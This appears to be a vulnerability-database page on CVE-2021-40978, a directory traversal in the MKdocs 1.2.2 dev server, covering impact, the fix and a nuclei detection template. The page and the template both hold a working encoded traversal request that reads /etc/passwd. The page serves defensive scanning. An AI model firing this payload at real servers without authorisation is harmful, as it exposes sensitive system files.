HexBrain

Browse / CVEs / CVE-2021-40978

CVE-2021-40978· mkdocs / mkdocs· CWE-22

MKdocs 1.2.2 - Directory Traversal

highseverity
7.5CVSS score
15%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.

Impact

An attacker can read or modify sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.

Fix

Upgrade MKdocs to version 1.2.3 or later to fix the directory traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Positive when: matches /root:[x*]:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-40978 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-40978

info:
  name: MKdocs 1.2.2 - Directory Traversal
  author: pikpikcu
  severity: high
  description: The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.
  impact: |
    An attacker can read or modify sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Upgrade MKdocs to version 1.2.3 or later to fix the directory traversal vulnerability.
  reference:
    - https://github.com/mkdocs/mkdocs/pull/2604
    - https://github.com/nisdn/CVE-2021-40978
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40978
    - https://github.com/mkdocs/mkdocs
    - https://github.com/mkdocs/mkdocs/issues/2601
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40978
    cwe-id: CWE-22
    epss-score: 0.14984
    epss-percentile: 0.96743
    cpe: cpe:2.3:a:mkdocs:mkdocs:1.2.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mkdocs
    product: mkdocs
  tags: cve2021,cve,mkdocs,lfi,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:[x*]:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from